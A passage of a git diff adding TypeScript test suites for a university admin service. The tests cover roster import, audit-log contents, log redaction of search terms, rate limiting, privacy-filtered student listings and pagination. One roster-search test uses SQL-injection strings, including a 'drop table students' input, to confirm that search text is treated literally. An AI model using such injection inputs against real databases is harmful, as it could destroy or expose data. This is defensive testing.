h.seedUser()]); + report( + await importJson(h, org.organizationId, org.headers, [ + { email: a.email, full_name: 'A', program: 'Law', graduation_year: 2026 }, + { email: b.email, full_name: 'B', program: 'Law', graduation_year: 2026 }, + { email: c.email, full_name: 'C', program: 'Law', graduation_year: 2026 }, + ]), + ); + + const second = report( + await importJson(h, org.organizationId, org.headers, [ + { email: a.email, full_name: 'A', program: 'Medicine' }, // program changes, year kept + { email: b.email, full_name: 'B', graduation_year: 2029 }, // year changes, program kept + { email: c.email, full_name: 'C', program: '', graduation_year: '' }, // blanks clear nothing + ]), + ); + + expect(second).toMatchObject({ + created: 0, + updated: 2, + skipped: 1, + skipped_breakdown: { unchanged: 1 }, + }); + const roster = await rosterOf(org.organizationId); + expect(roster).toHaveLength(3); + const byUser = new Map(roster.map((row) => [row.userId, row])); + expect(byUser.get(a.userId)).toMatchObject({ department: 'Medicine', graduationYear: 2026 }); + expect(byUser.get(b.userId)).toMatchObject({ department: 'Law', graduationYear: 2029 }); + expect(byUser.get(c.userId)).toMatchObject({ department: 'Law', graduationYear: 2026 }); + }); + + it('keeps rosters per organization: the same account can be on two rosters', async () => { + const one = await freshOrg(); + const two = await freshOrg(); + const shared = await h.seedUser(); + const rows = [{ email: shared.email, full_name: 'Shared', program: 'Chemistry' }]; + expect(report(await importJson(h, one.organizationId, one.headers, rows)).created).toBe(1); + expect(report(await importJson(h, two.organizationId, two.headers, rows)).created).toBe(1); + expect(await rosterOf(one.organizationId)).toHaveLength(1); + expect(await rosterOf(two.organizationId)).toHaveLength(1); + }); + + it('handles a large mixed batch in a bounded number of statements', async () => { + const org = await freshOrg(); + const existing = await Promise.all(Array.from({ length: 30 }, () => h.seedUser())); + const rows = [ + ...existing.map((user) => ({ email: user.email, full_name: 'E', program: 'Bulk' })), + ...Array.from({ length: 2_000 }, (_, i) => ({ + email: `bulk-ghost-${i}@example.test`, + full_name: `G${i}`, + })), + ]; + const started = performance.now(); + const body = report(await importJson(h, org.organizationId, org.headers, rows)); + expect(body).toMatchObject({ created: 30, skipped: 2_000, total_rows: 2_030 }); + expect(performance.now() - started).toBeLessThan(10_000); + }); + }); + + describe('audit trail', () => { + it('writes one entry per import with actor, organization and counts only', async () => { + const org = await freshOrg(); + const student = await h.seedUser(); + const res = await importJson(h, org.organizationId, org.headers, [ + { email: student.email, full_name: 'Audit Subject', program: 'Secret Program' }, + { email: 'bad', full_name: 'Bad' }, + ]); + expect(res.statusCode).toBe(200); + + const audits = await importAudits(org.organizationId); + expect(audits).toHaveLength(1); + const audit = audits[0]!; + expect(audit).toMatchObject({ + organizationId: org.organizationId, + actorUserId: org.adminId, + resourceType: 'student_roster', + resourceId: org.organizationId, + }); + expect(audit.traceId).toBeTruthy(); + expect(audit.metadata).toEqual({ + source: 'json', + total_rows: 2, + created: 1, + updated: 0, + skipped: 0, + errors: 1, + }); + const serialized = JSON.stringify(audit); + expect(serialized).not.toContain(student.email); + expect(serialized).not.toContain('Audit Subject'); + expect(serialized).not.toContain('Secret Program'); + expect(serialized).not.toContain('@'); + }); + + it('records the source format for CSV imports', async () => { + const org = await freshOrg(); + await importCsv( + h, + org.organizationId, + org.headers, + 'email,full_name\nnobody@example.test,N\n', + ); + const [audit] = await importAudits(org.organizationId); + expect(audit?.metadata).toMatchObject({ source: 'csv', total_rows: 1, skipped: 1 }); + }); + + it('does not audit a request that was refused', async () => { + const org = await freshOrg(); + const member = await h.seedUser(); + await h.addMember(org.organizationId, member.userId, 'member'); + await importJson(h, org.organizationId, await h.authHeaders(member.userId), [ + { email: 'a@b.test', full_name: 'A' }, + ]); + expect(await importAudits(org.organizationId)).toHaveLength(0); + }); + }); + + it('keeps the shared admin used by this suite working (sanity)', async () => { + const res = await importJson(h, orgId, adminHeaders, [ + { email: 'sanity@example.test', full_name: 'Sanity' }, + ]); + expect(report(res).skipped).toBe(1); + expect(adminId).toBeTruthy(); + }); +}); diff --git a/services/admin/test/logging.test.ts b/services/admin/test/logging.test.ts new file mode 100644 index 0000000..20c3286 --- /dev/null +++ b/services/admin/test/logging.test.ts @@ -0,0 +1,67 @@ +import { Writable } from 'node:stream'; +import { pino } from 'pino'; +import { afterAll, beforeAll, describe, expect, it } from 'vitest'; +import { serializeRequestForLog } from '../src/app.js'; +import { ADMIN_BASE, createHarness, testDatabaseUrl, type Harness } from './support.js'; + +describe('serializeRequestForLog', () => { + it('drops the query string but keeps the path and connection fields', () => { + expect( + serializeRequestForLog({ + method: 'GET', + url: '/v1/admin/organizations/abc/students?search=ada%40uni.edu&limit=5', + host: 'api.example.test', + ip: '203.0.113.9', + socket: { remotePort: 4321 }, + }), + ).toEqual({ + method: 'GET', + url: '/v1/admin/organizations/abc/students?[redacted]', + host: 'api.example.test', + remoteAddress: '203.0.113.9', + remotePort: 4321, + }); + expect(serializeRequestForLog({ method: 'GET', url: '/health' }).url).toBe('/health'); + }); +}); + +describe.skipIf(!testDatabaseUrl)('admin-service request logging', () => { + let h: Harness; + const output: string[] = []; + + beforeAll(async () => { + const sink = new Writable({ + write(chunk, _encoding, done) { + output.push(String(chunk)); + done(); + }, + }); + h = await createHarness({}, pino({ level: 'info' }, sink)); + }); + + afterAll(async () => { + await h.close(); + }); + + it('never writes search terms from the query string to the log', async () => { + const org = await h.seedOrganization('university'); + const owner = await h.seedUser(); + await h.addMember(org, owner.userId, 'owner'); + const term = 'secret.person@example.test'; + + const res = await h.app.inject({ + method: 'GET', + url: `${ADMIN_BASE}/${org}/students?search=${encodeURIComponent(term)}`, + headers: await h.authHeaders(owner.userId), + }); + expect(res.statusCode).toBe(200); + + const logged = output.join(''); + expect(logged).toContain('incoming request'); + expect(logged).toContain(`${ADMIN_BASE}/${org}/students?[redacted]`); + expect(logged).not.toContain('secret.person'); + expect(logged).not.toContain(encodeURIComponent(term)); + // …and the bearer token never appears either. + expect(logged).not.toMatch(/eyJ[A-Za-z0-9_-]{10,}/); + }); +}); diff --git a/services/admin/test/ratelimit.test.ts b/services/admin/test/ratelimit.test.ts new file mode 100644 index 0000000..6dd182f --- /dev/null +++ b/services/admin/test/ratelimit.test.ts @@ -0,0 +1,121 @@ +import { randomUUID } from 'node:crypto'; +import { describe, expect, it } from 'vitest'; +import { ADMIN_BASE, createHarness, importJson, testDatabaseUrl, type Harness } from './support.js'; + +async function withOwner( + harness: Harness, + run: (context: { organizationId: string; headers: Record }) => Promise, +): Promise { + const organizationId = await harness.seedOrganization('university'); + const owner = await harness.seedUser(); + await harness.addMember(organizationId, owner.userId, 'owner'); + return run({ organizationId, headers: await harness.authHeaders(owner.userId) }); +} + +// The rate limiter has to be wired so that it actually attaches to the API routes +// (see the comment in app.ts), and it has to run before authentication. +describe.skipIf(!testDatabaseUrl)('admin-service rate limiting', () => { + it('throttles the import endpoint per client and answers 429 RATE_LIMITED', async () => { + const h = await createHarness({ limits: { importRatePerMinute: 3 } }); + try { + await withOwner(h, async ({ organizationId, headers }) => { + const statuses: number[] = []; + for (let attempt = 0; attempt < 5; attempt += 1) { + const res = await importJson(h, organizationId, headers, [ + { email: `nobody-${randomUUID()}@example.test`, full_name: 'N' }, + ]); + statuses.push(res.statusCode); + if (res.statusCode === 429) expect(res.json().error.code).toBe('RATE_LIMITED'); + } + expect(statuses).toEqual([200, 200, 200, 429, 429]); + }); + } finally { + await h.close(); + } + }); + + it('throttles the export endpoint', async () => { + const h = await createHarness({ limits: { exportRatePerMinute: 2 } }); + try { + await withOwner(h, async ({ organizationId, headers }) => { + const statuses: number[] = []; + for (let attempt = 0; attempt < 4; attempt += 1) { + const res = await h.app.inject({ + method: 'GET', + url: `${ADMIN_BASE}/${organizationId}/export.csv`, + headers, + }); + statuses.push(res.statusCode); + } + expect(statuses).toEqual([200, 200, 429, 429]); + }); + } finally { + await h.close(); + } + }); + + it('counts unauthenticated requests too, because the limiter runs before authentication', async () => { + const h = await createHarness({ limits: { importRatePerMinute: 2 } }); + try { + await withOwner(h, async ({ organizationId }) => { + const statuses: number[] = []; + for (let attempt = 0; attempt < 4; attempt += 1) { + const res = await h.app.inject({ + method: 'POST', + url: `${ADMIN_BASE}/${organizationId}/students/import`, + headers: { 'content-type': 'application/json' }, + payload: '{}', + }); + statuses.push(res.statusCode); + } + expect(statuses).toEqual([401, 401, 429, 429]); + }); + } finally { + await h.close(); + } + }); + + it('applies the global limit to every API route but never to /health', async () => { + const h = await createHarness({}, undefined, { RATE_LIMIT_MAX: '3' }); + try { + await withOwner(h, async ({ organizationId, headers }) => { + const statuses: number[] = []; + for (let attempt = 0; attempt < 5; attempt += 1) { + const res = await h.app.inject({ + method: 'GET', + url: `${ADMIN_BASE}/${organizationId}/funnel`, + headers, + }); + statuses.push(res.statusCode); + } + expect(statuses).toEqual([200, 200, 200, 429, 429]); + + for (let attempt = 0; attempt < 10; attempt += 1) { + expect((await h.app.inject({ method: 'GET', url: '/health' })).statusCode).toBe(200); + } + }); + } finally { + await h.close(); + } + }); + + it('does not expose HEAD for the export (it would run the handler and audit with no body)', async () => { + const h = await createHarness(); + try { + await withOwner(h, async ({ organizationId, headers }) => { + const res = await h.app.inject({ + method: 'HEAD', + url: `${ADMIN_BASE}/${organizationId}/export.csv`, + headers, + }); + expect(res.statusCode).toBe(404); + const audits = await h.handle.sql` + select 1 from audit_logs where organization_id = ${organizationId} + `; + expect(audits).toHaveLength(0); + }); + } finally { + await h.close(); + } + }); +}); diff --git a/services/admin/test/students.test.ts b/services/admin/test/students.test.ts new file mode 100644 index 0000000..27921b0 --- /dev/null +++ b/services/admin/test/students.test.ts @@ -0,0 +1,425 @@ +import { randomUUID } from 'node:crypto'; +import { afterAll, beforeAll, describe, expect, it } from 'vitest'; +import { + adminStudentResponseSchema, + listAdminStudentsResponseSchema, + type ListAdminStudentsResponse, + type RosterStudent, +} from '@atlas/types'; +import { ADMIN_BASE, createHarness, testDatabaseUrl, type Harness } from './support.js'; + +describe.skipIf(!testDatabaseUrl)('admin-service roster list and detail', () => { + let h: Harness; + let orgId: string; + let otherOrgId: string; + let headers: Record; + const tag = randomUUID().slice(0, 8); + + const ids = {} as Record<'mia' | 'noah' | 'nina' | 'omar' | 'otherOrgStudent', string>; + const emails = {} as Record<'mia' | 'noah' | 'nina' | 'omar', string>; + + const list = async (query = '', orgForUrl = orgId): Promise => { + const res = await h.app.inject({ + method: 'GET', + url: `${ADMIN_BASE}/${orgForUrl}/students${query}`, + headers, + }); + expect(res.statusCode, res.body).toBe(200); + return listAdminStudentsResponseSchema.parse(res.json()); + }; + const emailsOf = (page: ListAdminStudentsResponse) => page.items.map((item) => item.email).sort(); + + beforeAll(async () => { + h = await createHarness(); + orgId = await h.seedOrganization('university'); + otherOrgId = await h.seedOrganization('university'); + const owner = await h.seedUser(); + await h.addMember(orgId, owner.userId, 'owner'); + headers = await h.authHeaders(owner.userId); + + // Mia: a member (sharing enabled) with a resume and two applications in this org. + const mia = await h.seedUser({ + email: `mia-${tag}@example.test`, + fullName: `Mia Member ${tag}`, + }); + emails.mia = mia.email; + await h.addMember(orgId, mia.userId, 'student'); + ids.mia = await h.addStudent(orgId, mia.userId, { program: 'Biology', graduationYear: 2026 }); + await h.seedResume(mia.userId, { atsScore: 64, createdAt: '2026-01-01T00:00:00Z' }); + await h.seedResume(mia.userId, { atsScore: 82, createdAt: '2026-02-01T00:00:00Z' }); + await h.seedResume(mia.userId, { + atsScore: null, + status: 'failed', + createdAt: '2026-03-01T00:00:00Z', + }); + await h.seedApplication(mia.userId, { + status: 'submitted', + organizationId: orgId, + createdAt: '2026-02-10T00:00:00Z', + }); + await h.seedApplication(mia.userId, { + status: 'draft', + organizationId: orgId, + createdAt: '2026-02-20T00:00:00Z', + }); + + // Noah: a member without a resume, one interview. + const noah = await h.seedUser({ + email: `noah-${tag}@example.test`, + fullName: `Noah NoResume ${tag}`, + }); + emails.noah = noah.email; + await h.addMember(orgId, noah.userId, 'student'); + ids.noah = await h.addStudent(orgId, noah.userId, { + program: 'Chemistry', + graduationYear: 2027, + }); + await h.seedApplication(noah.userId, { status: 'interviewing', organizationId: orgId }); + + // Nina: on the roster but NOT a member: identity only, whatever she has done on the platform. + const nina = await h.seedUser({ + email: `nina-${tag}@example.test`, + fullName: `Nina Hidden ${tag}`, + }); + emails.nina = nina.email; + ids.nina = await h.addStudent(orgId, nina.userId, { program: 'Physics' }); + await h.seedResume(nina.userId, { atsScore: 99 }); + await h.seedApplication(nina.userId, { status: 'submitted', organizationId: orgId }); + await h.seedApplication(nina.userId, { status: 'offer', organizationId: orgId }); + + // Omar: a member whose applications belong to other contexts (another org, no org). + const omar = await h.seedUser({ + email: `omar-${tag}@example.test`, + fullName: `Omar Elsewhere ${tag}`, + }); + emails.omar = omar.email; + await h.addMember(orgId, omar.userId, 'student'); + ids.omar = await h.addStudent(orgId, omar.userId); + await h.seedApplication(omar.userId, { status: 'offer', organizationId: otherOrgId }); + await h.seedApplication(omar.userId, { status: 'interviewing', organizationId: null }); + + const stranger = await h.seedUser(); + ids.otherOrgStudent = await h.addStudent(otherOrgId, stranger.userId); + }); + + afterAll(async () => { + await h.close(); + }); + + describe('list', () => { + it('returns the roster with a summary only for students who are also members', async () => { + const page = await list(); + expect(page.next_cursor).toBeNull(); + expect(emailsOf(page)).toEqual(Object.values(emails).sort()); + const byEmail = new Map(page.items.map((item) => [item.email, item])); + + const mia = byEmail.get(emails.mia)!; + expect(mia).toMatchObject({ + student_id: ids.mia, + full_name: `Mia Member ${tag}`, + program: 'Biology', + graduation_year: 2026, + status: 'active', + sharing_enabled: true, + }); + expect(mia.insights).toMatchObject({ + has_resume: true, + latest_ats_score: 82, // newest *scored* resume; the failed upload has no score + applications_total: 2, + applications_by_status: { submitted: 1, draft: 1, offer: 0, interviewing: 0 }, + last_application_activity_at: '2026-02-20T00:00:00.000Z', + }); + + expect(byEmail.get(emails.noah)!.insights).toMatchObject({ + has_resume: false, + latest_ats_score: null, + applications_total: 1, + applications_by_status: { interviewing: 1 }, + }); + + // Roster-only: identity (the email staff supplied), nothing derived from her activity. + const nina = byEmail.get(emails.nina)!; + expect(nina).toMatchObject({ + sharing_enabled: false, + full_name: null, + insights: null, + program: 'Physics', + }); + + // Applications attributed to other contexts are not this organization's to see. + expect(byEmail.get(emails.omar)!.insights).toMatchObject({ + applications_total: 0, + latest_ats_score: null, + }); + }); + + it('returns only the requested fields, with no internal identifiers or private content', async () => { + const page = await list(); + for (const item of page.items) { + expect(Object.keys(item).sort()).toEqual( + [ + 'created_at', + 'email', + 'full_name', + 'graduation_year', + 'insights', + 'program', + 'sharing_enabled', + 'status', + 'student_id', + ].sort(), + ); + } + const raw = JSON.stringify(page); + for (const secret of [ + 'CONFIDENTIAL', + 'parsed_text', + 'parsed_profile', + 'cover_letter', + 'user_id', + 'storage_url', + ]) { + expect(raw, secret).not.toContain(secret); + } + }); + + it('searches by email, and by name only where the name is visible', async () => { + expect(emailsOf(await list(`?search=MIA-${tag}`))).toEqual([emails.mia]); + expect(emailsOf(await list(`?search=${encodeURIComponent(`Mia Member ${tag}`)}`))).toEqual([ + emails.mia, + ]); + expect( + emailsOf(await list(`?search=${encodeURIComponent(`Omar Elsewhere ${tag}`)}`)), + ).toEqual([emails.omar]); + // Nina is not a member: her platform name must not be searchable, or searching would reveal it. + expect(emailsOf(await list(`?search=${encodeURIComponent(`Nina Hidden ${tag}`)}`))).toEqual( + [], + ); + expect(emailsOf(await list(`?search=nina-${tag}`))).toEqual([emails.nina]); + }); + + it('treats search text as a literal, never as a pattern or SQL', async () => { + for (const term of ['%', '_', '%%', '\\', "' or 1=1 --", '"; drop table students; --']) { + const page = await list(`?search=${encodeURIComponent(term)}`); + expect(page.items, term).toEqual([]); + } + expect((await list(`?search=${encodeURIComponent('%')}`)).items).toHaveLength(0); + // The table is intact. + expect((await list()).items).toHaveLength(4); + }); + + it('treats an empty search as no search', async () => { + expect(await list('?search=')).toEqual(await list()); + }); + + it('filters on has_resume, and only ever matches students with sharing enabled', async () => { + expect(emailsOf(await list('?has_resume=true'))).toEqual([emails.mia]); + // Nina has a resume but is not sharing: she matches neither value. + expect(emailsOf(await list('?has_resume=false'))).toEqual([emails.noah, emails.omar].sort()); + }); + + it('filters on application_status within this organization and for sharing students only', async () => { + expect(emailsOf(await list('?application_status=submitted'))).toEqual([emails.mia]); + expect(emailsOf(await list('?application_status=draft'))).toEqual([emails.mia]); + expect(emailsOf(await list('?application_status=interviewing'))).toEqual([emails.noah]); + // Nina's offer is hidden (not sharing) and Omar's belongs to another org. + expect(emailsOf(await list('?application_status=offer'))).toEqual([]); + }); + + it('combines filters with AND', async () => { + expect(emailsOf(await list('?has_resume=true&application_status=submitted'))).toEqual([ + emails.mia, + ]); + expect(emailsOf(await list('?has_resume=true&application_status=interviewing'))).toEqual([]); + expect(emailsOf(await list(`?has_resume=false&search=noah-${tag}`))).toEqual([emails.noah]); + }); + + it('validates query parameters (400)', async () => { + for (const query of [ + '?limit=0', + '?limit=101', + '?limit=abc', + '?has_resume=maybe', + '?application_status=hired', + '?cursor=%25%25%25', + `?cursor=${Buffer.from('{"createdAt":"yesterday","id":"x"}').toString('base64url')}`, + `?cursor=${Buffer.from('{"createdAt":"2026-01-01 00:00:00+00","id":"not-a-uuid"}').toString('base64url')}`, + ]) { + const res = await h.app.inject({ + method: 'GET', + url: `${ADMIN_BASE}/${orgId}/students${query}`, + headers, + }); + expect(res.statusCode, query).toBe(400); + expect(res.json().error.code).toBe('VALIDATION_ERROR'); + } + }); + + it("lists only this organization's roster", async () => { + const other = await list('', otherOrgId).catch(() => null); + // The caller is not a member of otherOrgId, so the request is refused outright. + expect(other).toBeNull(); + const raw = JSON.stringify(await list()); + expect(raw).not.toContain(ids.otherOrgStudent); + }); + }); + + describe('pagination', () => { + let pagedOrgId: string; + let pagedHeaders: Record; + let expectedOrder: string[]; + + beforeAll(async () => { + pagedOrgId = await h.seedOrganization('university'); + const owner = await h.seedUser(); + await h.addMember(pagedOrgId, owner.userId, 'owner'); + pagedHeaders = await h.authHeaders(owner.userId); + + // Ten students whose created_at values collide in groups, as they do after one import. + // Fixed-width, microsecond-precision stamps, so plain string comparison orders them like Postgres does. + const stamps = [ + '2026-05-01T10:00:00.123456Z', + '2026-05-01T10:00:00.123456Z', + '2026-05-01T10:00:00.123456Z', + '2026-05-01T10:00:00.123456Z', + '2026-05-02T10:00:00.000000Z', + '2026-05-02T10:00:00.000000Z', + '2026-05-02T10:00:00.000000Z', + '2026-04-30T23:59:59.999999Z', + '2026-05-03T00:00:00.000000Z', + '2026-05-03T00:00:00.000001Z', + ]; + const seeded: { id: string; createdAt: string }[] = []; + for (const createdAt of stamps) { + const user = await h.seedUser(); + const id = await h.addStudent(pagedOrgId, user.userId, { createdAt }); + seeded.push({ id, createdAt }); + } + // created_at descending, then student_id descending (uuid text order equals uuid byte order). + expectedOrder = seeded + .sort((a, b) => + a.createdAt === b.createdAt ? (a.id < b.id ? 1 : -1) : a.createdAt < b.createdAt ? 1 : -1, + ) + .map((entry) => entry.id); + }); + + async function walk(limit: number): Promise { + const pages: string[][] = []; + let cursor: string | null = null; + do { + const query: string = `?limit=${limit}${cursor ? `&cursor=${encodeURIComponent(cursor)}` : ''}`; + const res = await h.app.inject({ + method: 'GET', + url: `${ADMIN_BASE}/${pagedOrgId}/students${query}`, + headers: pagedHeaders, + }); + expect(res.statusCode, res.body).toBe(200); + const page = listAdminStudentsResponseSchema.parse(res.json()); + pages.push(page.items.map((item: RosterStudent) => item.student_id)); + cursor = page.next_cursor; + } while (cursor); + return pages; + } + + it('walks every page once, newest first, with ties at the page boundary neither repeated nor dropped', async () => { + for (const limit of [1, 2, 3, 4, 7, 10, 11]) { + const pages = await walk(limit); + const flat = pages.flat(); + expect(flat, `limit ${limit}`).toEqual(expectedOrder); + expect(new Set(flat).size).toBe(10); + for (const page of pages.slice(0, -1)) expect(page).toHaveLength(limit); + } + }); + + it('returns a null cursor on the last page and never an empty trailing page', async () => { + const pages = await walk(5); + expect(pages.map((page) => page.length)).toEqual([5, 5]); + const exact = await walk(10); + expect(exact).toHaveLength(1); + }); + + it('defaults to 20 per page', async () => { + const res = await h.app.inject({ + method: 'GET', + url: `${ADMIN_BASE}/${pagedOrgId}/students`, + headers: pagedHeaders, + }); + expect(listAdminStudentsResponseSchema.parse(res.json()).items).toHaveLength(10); + }); + + it('keeps paging stable under filters', async () => { + const res = await h.app.inject({ + method: 'GET', + url: `${ADMIN_BASE}/${pagedOrgId}/students?limit=3&has_resume=false`, + headers: pagedHeaders, + }); + // Nobody on this roster is a member, so nothing matches an attribute filter. + expect(listAdminStudentsResponseSchema.parse(res.json())).toEqual({ + items: [], + next_cursor: null, + }); + }); + }); + + describe('detail', () => { + const detail = (studentId: string, orgForUrl = orgId) => + h.app.inject({ + method: 'GET', + url: `${ADMIN_BASE}/${orgForUrl}/students/${studentId}`, + headers, + }); + + it("returns a sharing student's summary: statuses and counts, latest ATS score, nothing private", async () => { + const res = await detail(ids.mia); + expect(res.statusCode).toBe(200); + const { student } = adminStudentResponseSchema.parse(res.json()); + expect(student).toMatchObject({ + student_id: ids.mia, + email: emails.mia, + full_name: `Mia Member ${tag}`, + sharing_enabled: true, + insights: { has_resume: true, latest_ats_score: 82, applications_total: 2 }, + }); + for (const secret of [ + 'CONFIDENTIAL', + 'parsed_text', + 'parsed_profile', + 'cover_letter', + 'failure_reason', + 'user_id', + 'job_id', + ]) { + expect(res.body, secret).not.toContain(secret); + } + }); + + it('returns identity only for a roster student who is not a member', async () => { + const res = await detail(ids.nina); + expect(res.statusCode).toBe(200); + const { student } = adminStudentResponseSchema.parse(res.json()); + expect(student).toMatchObject({ + student_id: ids.nina, + sharing_enabled: false, + full_name: null, + insights: null, + }); + expect(res.body).not.toContain('CONFIDENTIAL'); + expect(res.body).not.toContain('Nina Hidden'); + }); + + it('answers 404 for a student of another organization, a missing id and a well-formed unknown id', async () => { + for (const studentId of [ids.otherOrgStudent, randomUUID()]) { + const res = await detail(studentId); + expect(res.statusCode).toBe(404); + expect(res.json().error.code).toBe('NOT_FOUND'); + } + }); + + it('hides a student whose account was deleted', async () => { + const gone = await h.seedUser({ deleted: true }); + const studentId = await h.addStudent(orgId, gone.userId); + expect((await detail(studentId)).statusCode).toBe(404); + expect(JSON.stringify(await list())).not.toContain(studentId); + }); + }); +}); diff --git a/services/admin/test/support.ts b/services/admin/test/support.ts new file mode 100644 index 0000000..03f7812 --- /dev/null +++ b/services/admin/test/support.ts @@ -0,0 +1,347 @@ +import { randomUUID } from 'node:crypto'; +import { inArray } from 'drizzle-orm'; +import { drizzle } from 'drizzle-orm/postgres-js'; +import { exportJWK, generateKeyPair, SignJWT } from 'jose'; +import type { FastifyInstance, LightMyRequestResponse } from 'fastify'; +import postgres from 'postgres'; +import { vi } from 'vitest'; +import { createTokenVerifierConfig } from '@atlas/auth-kit'; +import { createDatabase, schema, type DatabaseHandle } from '@atlas/db'; +import type { ApplicationStatus, MemberRole, OrganizationType } from '@atlas/types'; +import { createSilentLogger, type Logger } from '@atlas/utils'; +import { buildApp, type AppDeps } from '../src/app.js'; +import { loadAdminServiceEnv } from '../src/env.js'; + +/** DB-backed suites self-skip when this is unset (see .env.example). */ +export const testDatabaseUrl = process.env.ATLAS_TEST_DATABASE_URL; +export const SUPABASE_URL = 'https://test-project.supabase.co'; + +export const ADMIN_BASE = '/v1/admin/organizations'; + +export interface SeededUser { + userId: string; + email: string; + fullName: string; +} + +export interface Harness { + app: FastifyInstance; + handle: DatabaseHandle; + /** Signs a token for `userId`. `org` / `role` are the claims the real auth hook would stamp. */ + token: ( + userId: string, + claims?: { org?: string | null; role?: MemberRole | null }, + ) => Promise; + authHeaders: (userId: string, extra?: Record) => Promise>; + seedOrganization: (type?: OrganizationType) => Promise; + seedUser: (options?: { + email?: string; + fullName?: string; + deleted?: boolean; + }) => Promise; + addMember: (organizationId: string, userId: string, role: MemberRole) => Promise; + addStudent: ( + organizationId: string, + userId: string, + options?: { program?: string | null; graduationYear?: number | null; createdAt?: string }, + ) => Promise; + seedResume: ( + userId: string, + options?: { + atsScore?: number | null; + status?: 'pending' | 'parsed' | 'failed'; + createdAt?: string; + parsedText?: string; + }, + ) => Promise; + seedApplication: ( + userId: string, + options: { status: ApplicationStatus; organizationId: string | null; createdAt?: string }, + ) => Promise; + /** Registers rows the harness did not create but must clean up. */ + trackOrganization: (organizationId: string) => void; + close: () => Promise; +} + +/** + * Builds the app against the test database with a locally generated signing key + * (the JWKS fetch is stubbed), and tracks every row it seeds so `close()` leaves + * the shared database as it found it. Other agents use the same database + * concurrently, so everything is keyed by fresh UUIDs. + */ +export async function createHarness( + overrides: Partial = {}, + logger: Logger = createSilentLogger(), + envOverrides: Record = {}, +): Promise { + if (!testDatabaseUrl) throw new Error('ATLAS_TEST_DATABASE_URL is required'); + + const { publicKey, privateKey } = await generateKeyPair('ES256'); + const jwk = await exportJWK(publicKey); + jwk.kid = 'test-key'; + jwk.alg = 'ES256'; + jwk.use = 'sig'; + // createRemoteJWKSet fetches over HTTP: serve the local key instead of a real Supabase project. + vi.stubGlobal( + 'fetch', + async () => + new Response(JSON.stringify({ keys: [jwk] }), { + status: 200, + headers: { 'content-type': 'application/json' }, + }), + ); + + // The suites fire hundreds of requests from one address; rate limiting has its own test. + const env = loadAdminServiceEnv({ + DATABASE_URL: testDatabaseUrl, + PORT: '4011', + SUPABASE_URL, + RATE_LIMIT_MAX: '100000', + ...envOverrides, + }); + const handle = createDatabase({ url: env.DATABASE_URL, maxConnections: 5 }); + const app = buildApp({ + db: handle.db, + sql: handle.sql, + env, + logger, + tokenVerifier: createTokenVerifierConfig(env), + ...overrides, + limits: { importRatePerMinute: 100_000, exportRatePerMinute: 100_000, ...overrides.limits }, + }); + await app.ready(); + + const userIds: string[] = []; + const organizationIds: string[] = []; + const companyIds: string[] = []; + const emails = new Map(); + + const token: Harness['token'] = async (userId, claims = {}) => + new SignJWT({ + session_id: randomUUID(), + email: emails.get(userId) ?? `${userId}@example.test`, + app_metadata: { org_id: claims.org ?? null, role: claims.role ?? null }, + }) + .setProtectedHeader({ alg: 'ES256', kid: 'test-key' }) + .setSubject(userId) + .setIssuer(`${SUPABASE_URL}/auth/v1`) + .setAudience('authenticated') + .setIssuedAt() + .setExpirationTime(Math.floor(Date.now() / 1000) + 900) + .sign(privateKey); + + let seededCompanyId: string | undefined; + const companyId = async (): Promise => { + if (seededCompanyId) return seededCompanyId; + const name = `Admin Test Co ${randomUUID().slice(0, 8)}`; + const [company] = await handle.db + .insert(schema.companies) + .values({ name, normalizedName: name.toLowerCase() }) + .returning(); + seededCompanyId = company!.companyId; + companyIds.push(seededCompanyId); + return seededCompanyId; + }; + + return { + app, + handle, + token, + authHeaders: async (userId, extra = {}) => ({ + authorization: `Bearer ${await token(userId)}`, + ...extra, + }), + + seedOrganization: async (type = 'university') => { + const [org] = await handle.db + .insert(schema.organizations) + .values({ name: `Admin Test Org ${randomUUID().slice(0, 8)}`, type }) + .returning(); + organizationIds.push(org!.organizationId); + return org!.organizationId; + }, + + seedUser: async (options = {}) => { + const userId = randomUUID(); + const email = options.email ?? `admin-svc-${userId}@example.test`; + const fullName = options.fullName ?? `Student ${userId.slice(0, 8)}`; + // public.users.user_id FKs to auth.users.id; the insert fires handle_new_user, which creates the public row. + await handle.sql` + insert into auth.users (id, instance_id, aud, role, email, email_confirmed_at, raw_app_meta_data, raw_user_meta_data, created_at, updated_at) + values (${userId}, '00000000-0000-0000-0000-000000000000', 'authenticated', 'authenticated', ${email}, now(), '{"provider":"email"}'::jsonb, ${JSON.stringify({ full_name: fullName })}::jsonb, now(), now()) + `; + if (options.deleted) { + await handle.sql`update public.users set deleted_at = now() where user_id = ${userId}`; + } + userIds.push(userId); + emails.set(userId, email); + return { userId, email, fullName }; + }, + + addMember: async (organizationId, userId, role) => { + await handle.db.insert(schema.organizationMembers).values({ organizationId, userId, role }); + }, + + addStudent: async (organizationId, userId, options = {}) => { + const [student] = await handle.db + .insert(schema.students) + .values({ + organizationId, + userId, + department: options.program ?? null, + graduationYear: options.graduationYear ?? null, + ...(options.createdAt ? { createdAt: options.createdAt } : {}), + }) + .returning(); + return student!.studentId; + }, + + seedResume: async (userId, options = {}) => { + const [resume] = await handle.db + .insert(schema.resumes) + .values({ + userId, + storageUrl: `resumes/${userId}/${randomUUID()}`, + originalFilename: 'resume.pdf', + contentType: 'application/pdf', + byteSize: 1234, + contentHash: randomUUID().replace(/-/g, ''), + status: options.status ?? 'parsed', + atsScore: options.atsScore === undefined ? 70 : options.atsScore, + parsedText: + options.parsedText ?? 'CONFIDENTIAL-RESUME-TEXT jane@private.example +1 555 0100', + parsedProfile: { skills: ['CONFIDENTIAL-SKILL'] } as never, + ...(options.createdAt ? { createdAt: options.createdAt } : {}), + }) + .returning(); + return resume!.resumeId; + }, + + seedApplication: async (userId, options) => { + const companyRowId = await companyId(); + const [job] = await handle.db + .insert(schema.jobs) + .values({ + companyId: companyRowId, + title: 'CONFIDENTIAL-JOB-TITLE', + source: 'manual', + jobHash: randomUUID().replace(/-/g, '').padEnd(64, '0'), + }) + .returning(); + const [application] = await handle.db + .insert(schema.applications) + .values({ + userId, + jobId: job!.jobId, + organizationId: options.organizationId, + status: options.status, + idempotencyKey: `seed-${randomUUID()}`, + coverLetter: 'CONFIDENTIAL-COVER-LETTER', + ...(options.createdAt + ? { createdAt: options.createdAt, lastEventAt: options.createdAt } + : {}), + }) + .returning(); + return application!.applicationId; + }, + + trackOrganization: (organizationId) => { + organizationIds.push(organizationId); + }, + + close: async () => { + try { + if (organizationIds.length > 0) { + // audit_logs.organization_id is ON DELETE SET NULL, so delete the rows explicitly or they linger. + await handle.db + .delete(schema.auditLogs) + 